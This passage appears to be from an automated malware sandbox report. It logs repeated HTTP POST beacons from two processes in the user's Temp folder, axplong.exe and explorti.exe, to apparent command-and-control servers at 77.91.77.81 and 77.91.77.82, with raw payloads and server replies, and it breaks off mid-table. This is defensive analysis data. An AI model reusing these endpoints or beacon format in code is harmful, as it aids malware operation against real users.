Jul 24, 2024 02:40:39.729101896 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:39.959928989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49931	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:39.415648937 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:40.162580013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:40.185997009 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:40.408775091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49932	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:40.200454950 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:40.900228977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:40.901096106 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:41.120306015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49934	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:40.528776884 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:41.231673002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:41.232422113 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:41.482414007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49935	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:41.235117912 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:41.951400042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:41.952040911 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:42.170645952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49936	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:41.603115082 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:42.362418890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:42.364115000 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:42.595000029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49937	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:42.368351936 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:43.088377953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:43.089083910 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:43.320529938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49938	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:42.706110954 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:43.456089973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:43.457223892 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:43.685748100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49939	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:43.449407101 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:44.172312975 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:44.173216105 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:44.402914047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49941	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:43.792777061 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:44.502521992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:44.508687019 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:44.733721972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49942	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:44.731822014 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:45.388529062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:45.392767906 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:45.608135939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49943	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:44.882823944 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:45.662956953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:45.664930105 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:45.893224955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49945	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:45.758155107 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:46.472667933 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:46.489455938 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:46.716072083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49946	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
